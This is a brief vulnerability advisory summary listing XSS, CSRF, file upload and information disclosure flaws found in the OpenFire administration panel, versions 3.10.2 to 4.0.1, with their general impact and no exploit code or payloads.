Several vulnerabilities discovered in OpenFire version 3.10.2 to 4.0.1

Several XSS vulnerabilities have been found on several pages of the administration panel. Reflected XSS may lead to session hijacking on admin user. Several vulnerabilities have been discovered between 2015, October and 2016, February. Reported vulnerabilities are similar to those previously discovered by hyp3rlinx, although they concern different pages. In brief, the flaws are of the following kinds: CSRF, XSS (reflected and stored), file upload and information disclosure. Most vulnerabilities need an administration access to the web application and may lead to personal information leakage or account take-over.
